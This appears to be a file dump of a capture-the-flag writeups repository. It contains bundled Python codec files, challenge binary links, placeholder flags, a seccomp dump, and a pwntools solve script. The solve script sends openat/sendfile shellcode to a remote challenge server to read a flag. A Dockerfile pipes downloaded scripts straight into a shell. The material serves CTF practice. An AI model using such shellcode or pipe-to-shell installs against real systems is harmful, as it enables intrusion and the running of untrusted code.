incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/johab.py: -------------------------------------------------------------------------------- 1 | # 2 | # johab.py: Python Unicode Codec for JOHAB 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_kr, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_kr.getcodec('johab') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='johab', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/oem.py: -------------------------------------------------------------------------------- 1 | """ Python 'oem' Codec for Windows 2 | 3 | """ 4 | # Import them explicitly to cause an ImportError 5 | # on non-Windows systems 6 | from codecs import oem_encode, oem_decode 7 | # for IncrementalDecoder, IncrementalEncoder, ... 8 | import codecs 9 | 10 | ### Codec APIs 11 | 12 | encode = oem_encode 13 | 14 | def decode(input, errors='strict'): 15 | return oem_decode(input, errors, True) 16 | 17 | class IncrementalEncoder(codecs.IncrementalEncoder): 18 | def encode(self, input, final=False): 19 | return oem_encode(input, self.errors)[0] 20 | 21 | class IncrementalDecoder(codecs.BufferedIncrementalDecoder): 22 | _buffer_decode = oem_decode 23 | 24 | class StreamWriter(codecs.StreamWriter): 25 | encode = oem_encode 26 | 27 | class StreamReader(codecs.StreamReader): 28 | decode = oem_decode 29 | 30 | ### encodings module API 31 | 32 | def getregentry(): 33 | return codecs.CodecInfo( 34 | name='oem', 35 | encode=encode, 36 | decode=decode, 37 | incrementalencoder=IncrementalEncoder, 38 | incrementaldecoder=IncrementalDecoder, 39 | streamreader=StreamReader, 40 | streamwriter=StreamWriter, 41 | ) 42 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/shift_jis.py: -------------------------------------------------------------------------------- 1 | # 2 | # shift_jis.py: Python Unicode Codec for SHIFT_JIS 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_jp, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_jp.getcodec('shift_jis') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='shift_jis', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/utf_16_be.py: -------------------------------------------------------------------------------- 1 | """ Python 'utf-16-be' Codec 2 | 3 | 4 | Written by Marc-Andre Lemburg (mal@lemburg.com). 5 | 6 | (c) Copyright CNRI, All Rights Reserved. NO WARRANTY. 7 | 8 | """ 9 | import codecs 10 | 11 | ### Codec APIs 12 | 13 | encode = codecs.utf_16_be_encode 14 | 15 | def decode(input, errors='strict'): 16 | return codecs.utf_16_be_decode(input, errors, True) 17 | 18 | class IncrementalEncoder(codecs.IncrementalEncoder): 19 | def encode(self, input, final=False): 20 | return codecs.utf_16_be_encode(input, self.errors)[0] 21 | 22 | class IncrementalDecoder(codecs.BufferedIncrementalDecoder): 23 | _buffer_decode = codecs.utf_16_be_decode 24 | 25 | class StreamWriter(codecs.StreamWriter): 26 | encode = codecs.utf_16_be_encode 27 | 28 | class StreamReader(codecs.StreamReader): 29 | decode = codecs.utf_16_be_decode 30 | 31 | ### encodings module API 32 | 33 | def getregentry(): 34 | return codecs.CodecInfo( 35 | name='utf-16-be', 36 | encode=encode, 37 | decode=decode, 38 | incrementalencoder=IncrementalEncoder, 39 | incrementaldecoder=IncrementalDecoder, 40 | streamreader=StreamReader, 41 | streamwriter=StreamWriter, 42 | ) 43 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/utf_16_le.py: -------------------------------------------------------------------------------- 1 | """ Python 'utf-16-le' Codec 2 | 3 | 4 | Written by Marc-Andre Lemburg (mal@lemburg.com). 5 | 6 | (c) Copyright CNRI, All Rights Reserved. NO WARRANTY. 7 | 8 | """ 9 | import codecs 10 | 11 | ### Codec APIs 12 | 13 | encode = codecs.utf_16_le_encode 14 | 15 | def decode(input, errors='strict'): 16 | return codecs.utf_16_le_decode(input, errors, True) 17 | 18 | class IncrementalEncoder(codecs.IncrementalEncoder): 19 | def encode(self, input, final=False): 20 | return codecs.utf_16_le_encode(input, self.errors)[0] 21 | 22 | class IncrementalDecoder(codecs.BufferedIncrementalDecoder): 23 | _buffer_decode = codecs.utf_16_le_decode 24 | 25 | class StreamWriter(codecs.StreamWriter): 26 | encode = codecs.utf_16_le_encode 27 | 28 | class StreamReader(codecs.StreamReader): 29 | decode = codecs.utf_16_le_decode 30 | 31 | ### encodings module API 32 | 33 | def getregentry(): 34 | return codecs.CodecInfo( 35 | name='utf-16-le', 36 | encode=encode, 37 | decode=decode, 38 | incrementalencoder=IncrementalEncoder, 39 | incrementaldecoder=IncrementalDecoder, 40 | streamreader=StreamReader, 41 | streamwriter=StreamWriter, 42 | ) 43 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/utf_32_be.py: -------------------------------------------------------------------------------- 1 | """ 2 | Python 'utf-32-be' Codec 3 | """ 4 | import codecs 5 | 6 | ### Codec APIs 7 | 8 | encode = codecs.utf_32_be_encode 9 | 10 | def decode(input, errors='strict'): 11 | return codecs.utf_32_be_decode(input, errors, True) 12 | 13 | class IncrementalEncoder(codecs.IncrementalEncoder): 14 | def encode(self, input, final=False): 15 | return codecs.utf_32_be_encode(input, self.errors)[0] 16 | 17 | class IncrementalDecoder(codecs.BufferedIncrementalDecoder): 18 | _buffer_decode = codecs.utf_32_be_decode 19 | 20 | class StreamWriter(codecs.StreamWriter): 21 | encode = codecs.utf_32_be_encode 22 | 23 | class StreamReader(codecs.StreamReader): 24 | decode = codecs.utf_32_be_decode 25 | 26 | ### encodings module API 27 | 28 | def getregentry(): 29 | return codecs.CodecInfo( 30 | name='utf-32-be', 31 | encode=encode, 32 | decode=decode, 33 | incrementalencoder=IncrementalEncoder, 34 | incrementaldecoder=IncrementalDecoder, 35 | streamreader=StreamReader, 36 | streamwriter=StreamWriter, 37 | ) 38 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/utf_32_le.py: -------------------------------------------------------------------------------- 1 | """ 2 | Python 'utf-32-le' Codec 3 | """ 4 | import codecs 5 | 6 | ### Codec APIs 7 | 8 | encode = codecs.utf_32_le_encode 9 | 10 | def decode(input, errors='strict'): 11 | return codecs.utf_32_le_decode(input, errors, True) 12 | 13 | class IncrementalEncoder(codecs.IncrementalEncoder): 14 | def encode(self, input, final=False): 15 | return codecs.utf_32_le_encode(input, self.errors)[0] 16 | 17 | class IncrementalDecoder(codecs.BufferedIncrementalDecoder): 18 | _buffer_decode = codecs.utf_32_le_decode 19 | 20 | class StreamWriter(codecs.StreamWriter): 21 | encode = codecs.utf_32_le_encode 22 | 23 | class StreamReader(codecs.StreamReader): 24 | decode = codecs.utf_32_le_decode 25 | 26 | ### encodings module API 27 | 28 | def getregentry(): 29 | return codecs.CodecInfo( 30 | name='utf-32-le', 31 | encode=encode, 32 | decode=decode, 33 | incrementalencoder=IncrementalEncoder, 34 | incrementaldecoder=IncrementalDecoder, 35 | streamreader=StreamReader, 36 | streamwriter=StreamWriter, 37 | ) 38 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/utf_7.py: -------------------------------------------------------------------------------- 1 | """ Python 'utf-7' Codec 2 | 3 | Written by Brian Quinlan (brian@sweetapp.com). 4 | """ 5 | import codecs 6 | 7 | ### Codec APIs 8 | 9 | encode = codecs.utf_7_encode 10 | 11 | def decode(input, errors='strict'): 12 | return codecs.utf_7_decode(input, errors, True) 13 | 14 | class IncrementalEncoder(codecs.IncrementalEncoder): 15 | def encode(self, input, final=False): 16 | return codecs.utf_7_encode(input, self.errors)[0] 17 | 18 | class IncrementalDecoder(codecs.BufferedIncrementalDecoder): 19 | _buffer_decode = codecs.utf_7_decode 20 | 21 | class StreamWriter(codecs.StreamWriter): 22 | encode = codecs.utf_7_encode 23 | 24 | class StreamReader(codecs.StreamReader): 25 | decode = codecs.utf_7_decode 26 | 27 | ### encodings module API 28 | 29 | def getregentry(): 30 | return codecs.CodecInfo( 31 | name='utf-7', 32 | encode=encode, 33 | decode=decode, 34 | incrementalencoder=IncrementalEncoder, 35 | incrementaldecoder=IncrementalDecoder, 36 | streamreader=StreamReader, 37 | streamwriter=StreamWriter, 38 | ) 39 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/utf_8.py: -------------------------------------------------------------------------------- 1 | """ Python 'utf-8' Codec 2 | 3 | 4 | Written by Marc-Andre Lemburg (mal@lemburg.com). 5 | 6 | (c) Copyright CNRI, All Rights Reserved. NO WARRANTY. 7 | 8 | """ 9 | import codecs 10 | 11 | ### Codec APIs 12 | 13 | encode = codecs.utf_8_encode 14 | 15 | def decode(input, errors='strict'): 16 | return codecs.utf_8_decode(input, errors, True) 17 | 18 | class IncrementalEncoder(codecs.IncrementalEncoder): 19 | def encode(self, input, final=False): 20 | return codecs.utf_8_encode(input, self.errors)[0] 21 | 22 | class IncrementalDecoder(codecs.BufferedIncrementalDecoder): 23 | _buffer_decode = codecs.utf_8_decode 24 | 25 | class StreamWriter(codecs.StreamWriter): 26 | encode = codecs.utf_8_encode 27 | 28 | class StreamReader(codecs.StreamReader): 29 | decode = codecs.utf_8_decode 30 | 31 | ### encodings module API 32 | 33 | def getregentry(): 34 | return codecs.CodecInfo( 35 | name='utf-8', 36 | encode=encode, 37 | decode=decode, 38 | incrementalencoder=IncrementalEncoder, 39 | incrementaldecoder=IncrementalDecoder, 40 | streamreader=StreamReader, 41 | streamwriter=StreamWriter, 42 | ) 43 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/hash-it/challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/defcon-quals/hash-it/challenge -------------------------------------------------------------------------------- /writeups/2022/hack-a-sat-3/small-hashes-anyways/readme.md: -------------------------------------------------------------------------------- 1 | # Small Hashes Anyways 2 | 3 | Running the binary: 4 | 5 | ```sh 6 | # Copy qemu binary and challenge binary into microblaze musl.cc tree: 7 | cp $(which qemu-microblaze-static) microblaze-linux/ 8 | cp small_hashes_anyways microblaze-linux/ 9 | 10 | # Change into the microblaze-linux/ root 11 | cd microblaze-linux/ 12 | 13 | # Repair the library load path (run these from the microblaze-linux/ root: 14 | mkdir -p opt/cross 15 | ln -s ../../.. opt/cross/microblaze-linux 16 | 17 | # Running this from the microblaze-linux/ works: 18 | sudo chroot . ./qemu-microblaze-static ./small_hashes_anyways 19 | ``` 20 | 21 | Once you can get the binary up and running, it's relatively straightforward brute force of the flag. 22 | -------------------------------------------------------------------------------- /writeups/2022/hack-a-sat-3/small-hashes-anyways/small_hashes_anyways: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/hack-a-sat-3/small-hashes-anyways/small_hashes_anyways -------------------------------------------------------------------------------- /writeups/2022/hack-armour/jedi-force/jedi_force: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/hack-armour/jedi-force/jedi_force -------------------------------------------------------------------------------- /writeups/2022/hack-armour/jedi-force/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/hack-armour/jedi-force/ld-2.31.so -------------------------------------------------------------------------------- /writeups/2022/hack-armour/jedi-force/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/hack-armour/jedi-force/libc-2.31.so -------------------------------------------------------------------------------- /writeups/2022/hack-armour/not-a-baby-rop/dev-docker-build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -f dev.Dockerfile -t not-a-baby-rop-dev . 3 | -------------------------------------------------------------------------------- /writeups/2022/hack-armour/not-a-baby-rop/dev-docker-run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -it -v $(pwd):/ctf not-a-baby-rop-dev /bin/bash 3 | -------------------------------------------------------------------------------- /writeups/2022/hack-armour/not-a-baby-rop/dev.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:buster-20190610-slim 2 | 3 | RUN apt-get update 4 | 5 | RUN DEBIAN_FRONTEND=noninteractive apt-get install -y build-essential gdb git 6 | RUN DEBIAN_FRONTEND=noninteractive apt-get install -y curl tmux vim wget 7 | RUN DEBIAN_FRONTEND=noninteractive apt-get install -y sudo 8 | RUN DEBIAN_FRONTEND=noninteractive apt-get install -y zlib1g-dev libbz2-dev libssl-dev libffi-dev libncurses5-dev libncursesw5-dev libreadline-dev libsqlite3-dev llvm xz-utils tk-dev liblzma-dev python-openssl 9 | 10 | RUN useradd --create-home --shell /bin/bash ctf 11 | RUN echo "ctf:ctf" | chpasswd 12 | RUN adduser ctf sudo 13 | USER ctf 14 | 15 | ENV LC_CTYPE C.UTF-8 16 | RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh 17 | RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef-extras.sh | sh 18 | 19 | RUN curl https://pyenv.run | bash 20 | 21 | ENV HOME /home/ctf 22 | ENV PYENV_ROOT $HOME/.pyenv 23 | ENV PATH $PYENV_ROOT/shims:$PYENV_ROOT/bin:$PATH 24 | RUN pyenv install 3.8.7 25 | RUN pyenv global 3.8.7 26 | RUN pyenv rehash 27 | 28 | RUN pip install pwntools z3-solver 29 | 30 | WORKDIR /ctf 31 | CMD /bin/bash 32 | -------------------------------------------------------------------------------- /writeups/2022/hack-armour/not-a-baby-rop/not-a-baby-rop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/hack-armour/not-a-baby-rop/not-a-baby-rop -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/bon-nie-appetit/challenge/bon-nie-appetit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/bon-nie-appetit/challenge/bon-nie-appetit -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/bon-nie-appetit/challenge/bon-nie-appetit.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/bon-nie-appetit/challenge/bon-nie-appetit.bndb -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/bon-nie-appetit/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{f4k3_fl4g_4_t35t1ng} 2 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/bon-nie-appetit/challenge/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/bon-nie-appetit/challenge/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/bon-nie-appetit/challenge/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/bon-nie-appetit/challenge/glibc/libc.so.6 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/fleet-management/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{f4k3_fl4g_4_t35t1ng} 2 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/fleet-management/fleet_management: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/fleet-management/fleet_management -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/fleet-management/seccomp-rules.txt: -------------------------------------------------------------------------------- 1 | line CODE JT JF K 2 | ================================= 3 | 0000: 0x20 0x00 0x00 0x00000004 A = arch 4 | 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 5 | 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 6 | 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 7 | 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 8 | 0005: 0x15 0x04 0x00 0x0000000f if (A == rt_sigreturn) goto 0010 9 | 0006: 0x15 0x03 0x00 0x00000028 if (A == sendfile) goto 0010 10 | 0007: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0010 11 | 0008: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0010 12 | 0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011 13 | 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 14 | 0011: 0x06 0x00 0x00 0x00000000 return KILL 15 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/fleet-management/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | the_binary = "./fleet_management" 6 | context.binary = the_binary 7 | elf = context.binary 8 | 9 | context.terminal = ["tmux", "splitw", "-v"] 10 | 11 | if args.REMOTE: 12 | io = remote("138.68.156.143", 31272) 13 | else: 14 | io = process(the_binary) 15 | 16 | if args.GDB: 17 | gdb.attach(io, """ 18 | continue 19 | """) 20 | 21 | # SYS_openat(AT_FDCWD, "flag.txt", O_RDONLY, ignored) 22 | # SYS_sendfile(stdout_fd, flag_fd, 0, 0x20) 23 | sc = asm(f""" 24 | mov rdi, {constants.AT_FDCWD} 25 | lea rsi, [rip+flag_str] 26 | xor rdx, rdx 27 | mov rax, {constants.SYS_openat} 28 | syscall 29 | 30 | mov rdi, {constants.STDOUT_FILENO} 31 | push rax 32 | pop rsi 33 | push 0x20 34 | pop r10 35 | mov rax, {constants.SYS_sendfile} 36 | syscall 37 | 38 | flag_str: 39 | .string "flag.txt" 40 | .byte 0 41 | """) 42 | 43 | log.info("Shellcode len: %#x" % len(sc)) 44 | assert len(sc) <= 0x3c 45 | sc += b"\x90" * (0x3c - len(sc)) 46 | 47 | io.sendlineafter("to do?", "9") 48 | io.send(sc) 49 | io.interactive() 50 | 51 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/freaky-forum-interception/Checker.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/freaky-forum-interception/Checker.class -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/freaky-forum-interception/Checker.java: -------------------------------------------------------------------------------- 1 | import java.util.stream.IntStream; 2 | 3 | public class Checker { 4 | public static boolean hello_java(String paramString) { 5 | int[] arrayOfInt = { 219, 227, 209, 154, 104, 97, 158, 163 }; 6 | return ( 7 | IntStream.range(0, paramString.length() - 1).mapToObj( 8 | paramInt -> new Object[] { 9 | // idx, paramString[idx], paramString[idx+1] 10 | Integer.valueOf(paramInt), Integer.valueOf(paramString.charAt(paramInt)), Integer.valueOf(paramString.charAt(paramInt + 1)) 11 | } 12 | ).filter( 13 | paramArrayOfObject -> ( 14 | ((Integer)paramArrayOfObject[1]).intValue() + ((Integer)paramArrayOfObject[2]).intValue() == paramArrayOfint[((Integer)paramArrayOfObject[0]).intValue()]) 15 | ).count() == (paramString.length() - 1)); 16 | } 17 | } 18 | 19 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/freaky-forum-interception/ffi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/freaky-forum-interception/ffi -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/hellhound/.glibc/ld-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/hellhound/.glibc/ld-2.23.so -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/hellhound/.glibc/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/hellhound/.glibc/libc-2.23.so -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/hellhound/.glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/hellhound/.glibc/libc.so.6 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/hellhound/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{f4k3_fl4g_4_t35t1ng} 2 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/hellhound/hellhound: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/hellhound/hellhound -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/hellhound/hellhound.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/hellhound/hellhound.bndb -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/once-and-for-all/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{f4k3_fl4g_4_t35t1ng} 2 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/once-and-for-all/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/once-and-for-all/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/once-and-for-all/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/once-and-for-all/glibc/libc.so.6 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/once-and-for-all/once_and_for_all: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/once-and-for-all/once_and_for_all -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/once-and-for-all/once_and_for_all.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/once-and-for-all/once_and_for_all.bndb -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/sabotage/README.txt: -------------------------------------------------------------------------------- 1 | We could not retrieve 2 files: [1] panel, [2] selfdestruct 2 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/sabotage/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{f4k3_fl4g_4_t35t1ng} 2 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/sabotage/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/sabotage/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/sabotage/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/sabotage/glibc/libc.so.6 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/sabotage/sabotage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/sabotage/sabotage -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/space-pirate-retribution/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{f4k3_fl4g_4_t35t1ng} 2 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/space-pirate-retribution/glibc/ld-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/space-pirate-retribution/glibc/ld-2.23.so -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/space-pirate-retribution/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/space-pirate-retribution/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/space-pirate-retribution/glibc/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/space-pirate-retribution/glibc/libc-2.23.so -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/space-pirate-retribution/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/space-pirate-retribution/glibc/libc.so.6 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/space-pirate-retribution/sp_retribution: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/space-pirate-retribution/sp_retribution -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/space-pirate-retribution/sp_retribution.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/space-pirate-retribution/sp_retribution.bndb -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/trick-or-deal/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/trick-or-deal/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/trick-or-deal/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/trick-or-deal/glibc/libc.so.6 -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/trick-or-deal/trick_or_deal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/trick-or-deal/trick_or_deal -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/trick-or-deal/trick_or_deal.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/trick-or-deal/trick_or_deal.bndb -------------------------------------------------------------------------------- 